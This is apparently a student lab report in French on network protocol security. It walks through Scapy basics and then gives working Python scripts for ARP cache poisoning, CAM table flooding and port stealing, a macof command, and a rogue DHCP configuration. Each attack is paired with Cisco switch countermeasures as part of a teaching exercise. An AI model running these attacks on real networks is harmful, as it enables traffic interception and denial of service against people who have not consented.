# INTRODUCTION A LA SÉCURITÉ DES PROTOCOLES RÉSEAUX ## TP01 : Manipulation des protocoles réseaux à l'aide d'outils de sécurité ### Utilisation de Scapy: #### 1. Découverte de l'outil : - First steps: ```python Welcome to Scapy (2.4.4) using IPython 7.31.1 >>> a=IP(ttl=10) >>> a <IP ttl=10 |> >>> a.src '127.0.0.1' >>> a.dst="192.168.198.143" >>> a <IP ttl=10 dst=192.168.198.143 |> >>> a.src '192.168.198.142' >>> del(a.ttl) >>> a <IP dst=192.168.198.143 |> >>> a.ttl 64 ``` - Stacking layers: ```python >>> IP() <IP |> >>> IP()/TCP() <IP frag=0 proto=tcp |<TCP |>> >>> Ether()/IP()/TCP() <Ether type=IPv4 |<IP frag=0 proto=tcp |<TCP |>>> >>> IP()/TCP()/"GET / HTTP/1.0\r\n\r\n" <IP frag=0 proto=tcp |<TCP |<Raw load='GET / HTTP/1.0\r\n\r\n' |>>> >>> Ether()/IP()/TCP()/UDP() <Ether type=IPv4 |<IP frag=0 proto=tcp |<TCP |<UDP |>>>> >>> IP(proto=55)/TCP() <IP frag=0 proto=55 |<TCP |>> >>> raw(IP()) b'E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01' >>> IP(_) <IP version=4 ihl=5 tos=0x0 len=20 id=1 flags= frag=0 ttl=64 proto=hopopt chksum=0x7ce7 src=127.0.0.1 dst=127.0.0.1 |> >>> a=Ether()/IP(dst="www.slashdot.org")/TCP()/"GET /index.html HTTP/1.0 \n\n" >>> hexdump(a) 0000 00 50 56 FD F3 A3 00 0C 29 E4 6B 58 08 00 45 00 .PV.....).kX..E. 0010 00 43 00 01 00 00 40 06 67 2B C0 A8 C6 8E 68 12 .C....@.g+....h. 0020 24 40 00 14 00 50 00 00 00 00 00 00 00 00 50 02 $@...P........P. 0030 20 00 AA 28 00 00 47 45 54 20 2F 69 6E 64 65 78 ..(..GET /index 0040 2E 68 74 6D 6C 20 48 54 54 50 2F 31 2E 30 20 0A .html HTTP/1.0 . 0050 0A . >>> b=raw(a) >>> b b'\x00PV\xfd\xf3\xa3\x00\x0c)\xe4kX\x08\x00E\x00\x00C\x00\x01\x00\x00@\x06g+\xc0\xa8\xc6\x8eh\x12$@\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xaa(\x00\x00GET /index.html HTTP/1.0 \n\n' >>> c=Ether(b) >>> c <Ether dst=00:50:56:fd:f3:a3 src=00:0c:29:e4:6b:58 type=IPv4 |<IP version=4 ihl=5 tos=0x0 len=67 id=1 flags= frag=0 ttl=64 proto=tcp chksum=0x672b src=192.168.198.142 dst=104.18.36.64 |<TCP sport=ftp_data dport=http seq=0 ack=0 dataofs=5 reserved=0 flags=S window=8192 chksum=0xaa28 urgptr=0 |<Raw load='GET /index.html HTTP/1.0 \n\n' |>>>> >>> c.hide_defaults() >>> c <Ether dst=00:50:56:fd:f3:a3 src=00:0c:29:e4:6b:58 type=IPv4 |<IP ihl=5 len=67 frag=0 proto=tcp chksum=0x672b src=192.168.198.142 dst=104.18.36.64 |<TCP dataofs=5 chksum=0xaa28 |<Raw load='GET /index.html HTTP/1.0 \n\n' |>>>> ``` - Generating sets of packets: ```python >>> a=IP(dst="www.slashdot.org/30") >>> a <IP dst=Net('www.slashdot.org/30') |> >>> [p for p in a] [<IP dst=104.18.36.64 |>, <IP dst=104.18.36.65 |>, <IP dst=104.18.36.66 |>, <IP dst=104.18.36.67 |>] >>> b=IP(ttl=[1,2,(5,9)]) >>> b <IP ttl=[1, 2, (5, 9)] |> >>> [p for p in b] [<IP ttl=1 |>, <IP ttl=2 |>, <IP ttl=5 |>, <IP ttl=6 |>, <IP ttl=7 |>, <IP ttl=8 |>, <IP ttl=9 |>] >>> c=TCP(dport=[80,443]) >>> [p for p in a/c] [<IP frag=0 proto=tcp dst=104.18.36.64 |<TCP dport=http |>>, <IP frag=0 proto=tcp dst=104.18.36.64 |<TCP dport=https |>>, <IP frag=0 proto=tcp dst=104.18.36.65 |<TCP dport=http |>>, <IP frag=0 proto=tcp dst=104.18.36.65 |<TCP dport=https |>>, <IP frag=0 proto=tcp dst=104.18.36.66 |<TCP dport=http |>>, <IP frag=0 proto=tcp dst=104.18.36.66 |<TCP dport=https |>>, <IP frag=0 proto=tcp dst=104.18.36.67 |<TCP dport=http |>>, <IP frag=0 proto=tcp dst=104.18.36.67 |<TCP dport=https |>>] >>> p = PacketList(a) >>> p <PacketList: TCP:0 UDP:0 ICMP:0 Other:4> >>> p = PacketList([p for p in a/c]) >>> p <PacketList: TCP:8 UDP:0 ICMP:0 Other:0> ``` - Sending packets: ```python >>> send(IP(dst="1.2.3.4")/ICMP()) . Sent 1 packets. >>> sendp(Ether()/IP(dst="1.2.3.4",ttl=(1,4)), iface="ens33") .... Sent 4 packets. >>> sendp("I'm travelling on Ethernet", iface="ens33", loop=1, inter=0.2) ..........................^C Sent 26 packets. >>> sendp(rdpcap("/tmp/pcapfile")) # tcpreplay >>> send(IP(dst='127.0.0.1'), return_packets=True) . Sent 1 packets. <PacketList: TCP:0 UDP:0 ICMP:0 Other:1> ``` - Fuzzing: ```python send(IP(dst="target")/fuzz(UDP()/NTP(version=4)),loop=1) ................ Sent 16 packets. ``` - Injecting bytes: ```python >>> pkt = IP(len=RawVal(b"NotAnInteger"), src="127.0.0.1") >>> bytes(pkt) b'H\x00NotAnInt\x0f\xb3er\x00\x01\x00\x00@\x00\x00\x00\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x00' ``` - Send and receive packets (sr): ```python >>> p = sr1(IP(dst="www.slashdot.org")/ICMP()/"XXXXXXXXXXX") Begin emission: Finished sending 1 packets. ..* Received 3 packets, got 1 answers, remaining 0 packets >>> p <IP version=4 ihl=5 tos=0x0 len=39 id=3411 flags= frag=0 ttl=128 proto=icmp chksum=0x19fa src=104.18.36.64 dst=192.168.198.142 |<ICMP type=echo-reply code=0 chksum=0xee45 id=0x0 seq=0x0 |<Raw load='XXXXXXXXXXX' |<Padding load='\x00\x00\x00\x00\x00\x00\x00' |>>>> >>> p.show() ###[ IP ]### version= 4 ihl= 5 tos= 0x0 len= 39 id= 3411 flags= frag= 0 ttl= 128 proto= icmp chksum= 0x19fa src= 104.18.36.64 dst= 192.168.198.142 \options\ ###[ ICMP ]### type= echo-reply code= 0 chksum= 0xee45 id= 0x0 seq= 0x0 ###[ Raw ]### load= 'XXXXXXXXXXX' ###[ Padding ]### load= '\x00\x00\x00\x00\x00\x00\x00' ``` ```python >>> sr1(IP(dst="8.8.8.8")/UDP()/DNS(rd=1,qd=DNSQR(qname="www.slashdot.org"))) Begin emission: Finished sending 1 packets. .* Received 2 packets, got 1 answers, remaining 0 packets <IP version=4 ihl=5 tos=0x0 len=143 id=3425 flags= frag=0 ttl=128 proto=udp chksum=0x95b6 src=8.8.8.8 dst=192.168.198.142 |<UDP sport=domain dport=domain len=123 chksum=0x9b69 |<DNS id=0 qr=1 opcode=QUERY aa=0 tc=0 rd=1 ra=1 z=0 ad=0 cd=0 rcode=ok qdcount=1 ancount=3 nscount=0 arcount=0 qd=<DNSQR qname='www.slashdot.org.' qtype=A qclass=IN |> an=<DNSRR rrname='www.slashdot.org.' type=CNAME rclass=IN ttl=71 rdlen=None rdata='www.slashdot.org.cdn.cloudflare.net.' |<DNSRR rrname='www.slashdot.org.cdn.cloudflare.net.' type=A rclass=IN ttl=300 rdlen=None rdata=104.18.36.64 |<DNSRR rrname='www.slashdot.org.cdn.cloudflare.net.' type=A rclass=IN ttl=300 rdlen=None rdata=172.64.151.192 |>>> ns=None ar=None |>>> ``` ```python >>> sr(IP(dst="192.168.198.143")/TCP(dport=[21,22,23])) Begin emission: Finished sending 3 packets. .*** Received 4 packets, got 3 answers, remaining 0 packets (<Results: TCP:3 UDP:0 ICMP:0 Other:0>, <Unanswered: TCP:0 UDP:0 ICMP:0 Other:0>) >>> ans, unans = _ >>> ans.summary() IP / TCP 192.168.198.142:ftp_data > 192.168.198.143:ftp S ==> IP / TCP 192.168.198.143:ftp > 192.168.198.142:ftp_data RA / Padding IP / TCP 192.168.198.142:ftp_data > 192.168.198.143:ssh S ==> IP / TCP 192.168.198.143:ssh > 192.168.198.142:ftp_data RA / Padding IP / TCP 192.168.198.142:ftp_data > 192.168.198.143:telnet S ==> IP / TCP 192.168.198.143:telnet > 192.168.198.142:ftp_data RA / Padding ``` ```python >>> sr(IP(dst="192.168.198.143")/TCP(dport=[21,22,23]),inter=0.5,retry=-2,timeout=1) Begin emission: Finished sending 3 packets. .*....** Received 8 packets, got 3 answers, remaining 0 packets (<Results: TCP:3 UDP:0 ICMP:0 Other:0>, <Unanswered: TCP:0 UDP:0 ICMP:0 Other:0>) ``` #### 2. Techniques avancées : - Capturez du trafic ARP et observez comment sont construits les différents types de trames: ```python >>> pkts = sniff(filter="arp", count=10) >>> print(pkts.summary()) Ether / ARP who has 192.168.198.2 says 192.168.198.1 / Padding Ether / ARP who has 192.168.198.2 says 192.168.198.1 / Padding Ether / ARP who has 192.168.198.2 says 192.168.198.1 / Padding Ether / ARP who has 192.168.198.2 says 192.168.198.142 Ether / ARP is at 00:50:56:fd:f3:a3 says 192.168.198.2 / Padding Ether / ARP who has 192.168.198.2 says 192.168.198.1 / Padding Ether / ARP who has 192.168.198.2 says 192.168.198.1 / Padding Ether / ARP who has 192.168.198.2 says 192.168.198.1 / Padding Ether / ARP who has 192.168.198.2 says 192.168.198.1 / Padding Ether / ARP who has 192.168.198.2 says 192.168.198.1 / Padding None ``` - Forgez quelques trames ARP avec scapy: ```python >>> arp_p=Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.198.143", hwsrc="00:0c:29:e4:6b:58") >>> sendp(arp_p, iface="ens33") . Sent 1 packets. >>> arp_p.show() ###[ Ethernet ]### dst= ff:ff:ff:ff:ff:ff src= 00:0c:29:e4:6b:58 type= ARP ###[ ARP ]### hwtype= 0x1 ptype= IPv4 hwlen= None plen= None op= who-has hwsrc= 00:0c:29:e4:6b:58 psrc= 192.168.198.142 hwdst= 00:00:00:00:00:00 pdst= 192.168.198.143 ``` - Expliquez la technique de ARP Cache Poisonning: Le "ARP cache poisoning", également connu sous le nom de "ARP spoofing", est une technique malveillante utilisée dans les réseaux informatiques pour intercepter, détourner ou modifier le trafic réseau - Tentez de monter cette attaque contre une de vos machines: On recupere l'adresse MAC de la cible ```python target_ip = "192.168.198.143" # Craft ARP request packet arp_request = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=target_ip) # Send ARP request and receive response arp_response = srp1(arp_request, timeout=2, verbose=False) # Check if response received if arp_response: # Extract MAC address from the response target_mac = arp_response.hwsrc print(f"MAC address of {target_ip}: {target_mac}") else: print(f"Could not retrieve MAC address for {target_ip}") ``` puis on attaque la cible ```python # Targeting the pc def arp_poisoning(target_ip, target_mac, gateway_ip): # Craft ARP packet to poison target's ARP cache poison_target = ARP() poison_target.op = 2 # ARP reply poison_target.psrc = gateway_ip # Set the source IP as gateway IP poison_target.pdst = target_ip # Set the destination IP as target IP poison_target.hwdst = target_mac # Set the destination MAC as target MAC # Send the crafted ARP packet to poison the target's ARP cache send(poison_target, verbose=False) print(f"[+] ARP poisoning sent to {target_ip}") # Define the target and gateway IP addresses and MAC addresses target_ip = "192.168.198.143" # Target IP address target_mac = "00:0c:29:dd:e0:39" # Target MAC address gateway_ip= "192.168.198.2" # Gateway IP address # targeting the gateway: def arp_poisoning2(Gateway_ip2, Gateway_mac2, Target_ip2): poison_target2 = ARP() poison_target2.op = 2 # ARP reply poison_target2.psrc = Target_ip2 # Set the source IP as gateway IP poison_target2.pdst = Gateway_ip2 # Set the destination IP as target IP poison_target2.hwdst = Gateway_mac2 # Set the destination MAC as target MAC # Send the crafted ARP packet to poison the target's ARP cache send(poison_target2, verbose=False) print(f"[+] ARP poisoning sent to {Gateway_ip2}") # Define the target and gateway IP addresses and MAC addresses Gateway_ip2 = "192.168.198.2" # Gateway IP address Gateway_mac2 = "00:50:56:fd:f3:a3" # Gateway MAC address Target_ip2 = "192.168.198.143" # Target IP address try: # Continuously perform ARP poisoning while True: arp_poisoning(target_ip, target_mac, gateway_ip) arp_poisoning2(Gateway_ip2, Gateway_mac2, Target_ip2) except KeyboardInterrupt: print("\n[!] ARP poisoning stopped.") ``` On active le port forward dans le fichier /etc/sysctl.conf ![image](https://hackmd.io/_uploads/B1WhcYeRT.png) On desactive la redirection pour eviter d'etre vu avec des ping ![image](https://hackmd.io/_uploads/BJYxsteAT.png) ### 3.2.1 Utilisation de Ettercap3: #### Reproduisez maintenant à l’aide l’outil Ettercap l’attaque que vous avez monté précédemment en Python: On configure l'autre vm comme cible et on lance l'attaque: ![image](https://hackmd.io/_uploads/HkPFXsuaa.png) sur l'autre vm on flush la table arp et on perd la connexion et on remarque que la premiere vm et devenu la gateway: ![image](https://hackmd.io/_uploads/B11DQjupp.png) --- ## TP02 : Mise en œuvre des fonctionnalités de sécurité réseau d'un switch ### CAM Flooding, port-stealing et mise en œuvre de contre-mesures : #### Rappels théoriques: - Qu'appelle-t-on CAM table lorsque l'on parle d'un switch. Expliquez la technique permettant de la corrompre: Une CAM table (Content Addressable Memory) est utilisée par un switch pour stocker les adresses MAC des périphériques connectés à ses ports. Corrompre cette table peut être réalisé par une attaque MAC flooding. Cette attaque consiste à saturer la CAM table du switch en envoyant un grand nombre de trames Ethernet avec des adresses MAC différentes, ce qui force le switch à passer en mode de commutation par défaut. En mode par défaut, le switch transmet le trafic sur tous les ports, ce qui permet à l'attaquant d'intercepter ou de manipuler le trafic réseau. - A l’aide de scapy, écrivez un script python permettant de provoquer le débordement de la CAM: ```python #!/usr/bin/env python from scapy.all import Ether, IP, TCP, RandIP, RandMAC, sendp def generate_packets(): packet_list = [] #initializing packet_list to hold all the packets for i in range(1,10000): packet = Ether(src = RandMAC(),dst= RandMAC())/IP(src=RandIP(),dst=RandIP()) packet_list.append(packet) return packet_list def cam_overflow(packet_list): sendp(packet_list, iface='eth0') if __name__ == '__main__': packet_list = generate_packets() cam_overflow(packet_list) ``` ![image](https://hackmd.io/_uploads/S15oos-0T.png) ![image](https://hackmd.io/_uploads/BkcrhibRa.png) - Reproduisez maintenant l’attaque à l’aide de l’outil macof de la suite dsniff: ```bash= sudo macof -i eth0 -n 10000 ``` - Ecrivez ensuite un second script permettant de réaliser une attaque de type port stealing. ```python #!/bin/env python # coding: utf8 # vi: ft=python expandtab ts=4 sts=4 sw=4 import logging _log = logging.getLogger(__name__) def get_mac_attack(iface): return get_if_hwaddr(iface) def ping_arp4(dst: str): """Simple ICMPv4 ping using scapy Args: dst (str): The destination IPv4 Return: str: Destination MAC address, None if there is no response """ mac_address = None # Craft ARP frame : classic ARP request # Send ARP request and store ARP reply # It contains the MAC address of the target as the MAC source ans = sr1(ARP(op=1, pdst=dst), verbose=False, timeout=1) if ans is not None: # Extract MAC address from received ARP reply mac_address = ans[ARP].hwsrc if mac_address is not None: _log.info(f"ARP ping: {dst} has {mac_address}") else: _log.info( f"[bold red]{dst} did not reply to ARP request[/bold red]", extra={"markup": True} ) return mac_address def generate_packets(mac_victim, mac_attack): """Simple packet_list to hold all packets Args: None Return: list: packet list. """ mac_broadcast = "ff:ff:ff:ff:ff:ff" packet_list = [] for i in range(1,10000): packet = Ether(src=mac_victim , dst=mac_attack)/ARP(op=2, hwdst=mac_broadcast) packet_list.append(packet) return packet_list def port_steal(packet_list): """Try port stealing Args: packet_list (list): the packet list generated to flood """ sendp(packet_list) if __name__ == '__main__': mac_attack = get_mac_attack("ens3") # victim = VM2 mac_victim = ping_arp4("192.168.122.187") print(mac_attack) print(mac_victim) packet_list = generate_packets(mac_victim, mac_attack) port_steal(packet_list) ``` ```bash SW1#show mac address-table Mac Address Table ------------------------------------------- Vlan Mac Address Type Ports ---- ----------- -------- ----- 1 0c04.0c8c.0000 DYNAMIC Et1/0 1 0c47.e6be.0000 DYNAMIC Et2/0 1 0cbb.4d0b.0000 DYNAMIC Et0/0 1 36bf.9b6a.7882 DYNAMIC Et3/0 1 5254.0020.bd02 DYNAMIC Et3/0 1 aabb.cc00.0300 DYNAMIC Et3/0 Total Mac Addresses for this criterion: 6 ``` #### Mise en œuvre de Port-Security: - En vous aidant du tableau 1 en annexe, mettez en œuvre les fonctionnalités Port-Security sur votre switch. ```en conf t int e1/0 switchport port-security switchport port-security maximum 1 switchport port-security violation restrict int e2/0 switchport port-security switchport port-security maximum 3 switchport port-security violation restrict int e3/0 switchport port-security switchport port-security maximum 3 switchport port-security violation restrict ``` - Testez le bon fonctionnement de celle-ci, votre script ne doit plus permettre le débordement de la CAM ou le « vol de port ». ### Mise en oeuvre de la mesure de protection DHCP snooping : 1. Rappels théoriques : - Expliquer l'attaque consistant à insérer un rogue DHCP server sur un réseau local. L'intêret de cette attaque est d'insérer un serveur DHCP non autorisé, non contrôlé par l'administrateur réseau afin de distribuer des fausses réponses DHCP. - Intégrez sur votre réseau local un serveur DHCP légitime offrant l’accès à internet. Mettez ensuite en oeuvre l’attaque rogue DHCP sur votre réseau afin de récupérer tout le trafic des stations de travail vers le serveur DHCP malveillant. Configuration du DHCP malveillant : ```bash [rocky@rocky-cloud ~]$ sudo cat /etc/dhcp/dhcpd.conf default-lease-time 60; max-lease-time 60; ddns-update-style none; authoritative; subnet 192.168.1.0 netmask 255.255.255.0 { range 192.168.1.10 192.168.1.200; option routers 192.168.1.1; option subnet-mask 255.255.255.0; option domain-name-servers 1.1.1.1, 8.8.8.8; } ``` ![image](https://hackmd.io/_uploads/rJQsG0WA6.png) 2. Mise en oeuvre de DHCP snooping : - En vous aidant des ressources fournies dans la rubrique « Aperçu du lab » ainsi que du tableau 2 en annexe, mettez en oeuvre la fonctionnalité DHCP snooping sur votre switch. ```bash SW1>enable SW1#conf t SW1(config)#ip dhcp snooping SW1(config)#ip dhcp snooping vlan 1 SW1(config)#int Ethernet1/0 SW1(config-if)#ip dhcp snooping trust SW1(config-if)#exit SW1(config)#exit *Mar 15 14:04:56.100: %SW_DAI-4-DHCP_SNOOPING_DENY: 1 Invalid ARPs (Req) on Et2/0, vlan 1.([0c47.e6be.0000/192.168.122.139/0000.0000.0000/192.168.122.1/15:04:55 CET Fri Mar 15 2024]) ``` - Testez le bon fonctionnement de celle-ci. Il ne doit maintenant plus être possible de connecter un serveur DHCP illégitime sur le réseau. Vérifiez cela. On récupère une adresse normale : ![image](https://hackmd.io/_uploads/HJYy4RbAT.png) ### Mise en oeuvre de la mesure de protection Dynamic ARP inspection : 1. Rappels théoriques : - Rappelez les attaques réalisables en détournant le protocole ARP. - L'attaque par le protocole ARP permet de faire du man in the middle 2. Mise en oeuvre de Dynamic ARP inspection : - En vous aidant des ressources fournies dans la rubrique « Aperçu du lab » ainsi que du tableau 3 en annexe, mettez en oeuvre la fonctionnalité Dynamic ARP inspection sur votre switch. ```bash en conf t ip arp inspection vlan 1 int e1/0 ip arp inspection trust exit exit ``` - Testez le bon fonctionnement de celle-ci. L’attaque ARP cache poisonning construite préalablement ne doit plus être réalisable. Vérifiez cela. ```bash [rocky@rocky-cloud ~]$ sudo python3 port.py [ 1257.026933] device eth0 entered promiscuous mode WARNING: Mac address to reach destination not found. ``` ### Mise en oeuvre de la mesure de protection IP source guard : 1. Rappels théoriques : - Rappelez le fonctionnement d'une attaque par IP spoofing. - Le principe d'une attaque par IP spoofing est de se faire passer pour une autre machine en prenant son adresse IP. 2. Mise en oeuvre de IP spoofing : - En vous aidant des ressources fournies dans la rubrique « Aperçu du lab » ainsi que du tableau 4 en annexe, mettez en oeuvre la fonctionnalité IP source guard sur votre switch. ```bash en conf t int e1/0 ip verify source ip verify source port-security int e2/0 ip verify source ip verify source port-security exit exit ``` - Testez le bon fonctionnement de celle-ci. ### Config du switch: ``` en conf t ip arp inspection vlan 1 int e0/3 switchport mode access switchport access vlan 1 switchport port-security switchport port-security maximum 1 switchport port-security violation restrict ip verify source ip verify source port-security no shut int e1/0 switchport mode access switchport access vlan 1 switchport port-security switchport port-security maximum 1 switchport port-security violation restrict ip verify source ip verify source port-security ip arp inspection trust no shut int e1/1 switchport mode access switchport access vlan 1 switchport port-security switchport port-security maximum 2 switchport port-security violation restrict ip verify source ip verify source port-security no shut int e0/0 switchport mode access switchport access vlan 1 switchport port-security switchport port-security maximum 2 switchport port-security violation restrict ip verify source ip verify source port-security ip arp inspection trust no shut int e0/1 switchport mode access switchport access vlan 1 switchport port-security switchport port-security maximum 2 switchport port-security violation restrict ip verify source ip verify source port-security ip arp inspection trust no shut int e0/2 switchport mode access switchport access vlan 1 switchport port-security switchport port-security maximum 2 switchport port-security violation restrict ip verify source ip verify source port-security ip arp inspection trust no shut exit exit ``` ``` en conf t no ip arp inspection vlan 1 int e0/3 switchport mode access switchport access vlan 1 no switchport port-security no switchport port-security maximum 1 no switchport port-security violation restrict no ip verify source no ip verify source port-security no shut int e1/0 switchport mode access switchport access vlan 1 no switchport port-security no switchport port-security maximum 1 no switchport port-security violation restrict no ip verify source no ip verify source port-security no ip arp inspection trust no shut int e1/1 switchport mode access switchport access vlan 1 no switchport port-security no switchport port-security maximum 2 no switchport port-security violation restrict no ip verify source no ip verify source port-security no ip arp inspection trust no shut int e0/0 switchport mode access switchport access vlan 1 no switchport port-security no switchport port-security maximum 2 no switchport port-security violation restrict no ip verify source no ip verify source port-security no ip arp inspection trust no shut int e0/1 switchport mode access switchport access vlan 1 no switchport port-security no switchport port-security maximum 2 no switchport port-security violation restrict no ip verify source no ip verify source port-security no ip arp inspection trust no shut int e0/2 switchport mode access switchport access vlan 1 no switchport port-security no switchport port-security maximum 2 no switchport port-security violation restrict no ip verify source no ip verify source port-security no ip arp inspection trust no shut exit exit ``` ____ ## TP03: Découverte de quelques vulnérabilité d’IPv6 ### Corruption de la table NDP: installer openSSL-devel + libpcap-devel ### Introduction de rogues RA sur un réseau IPv6: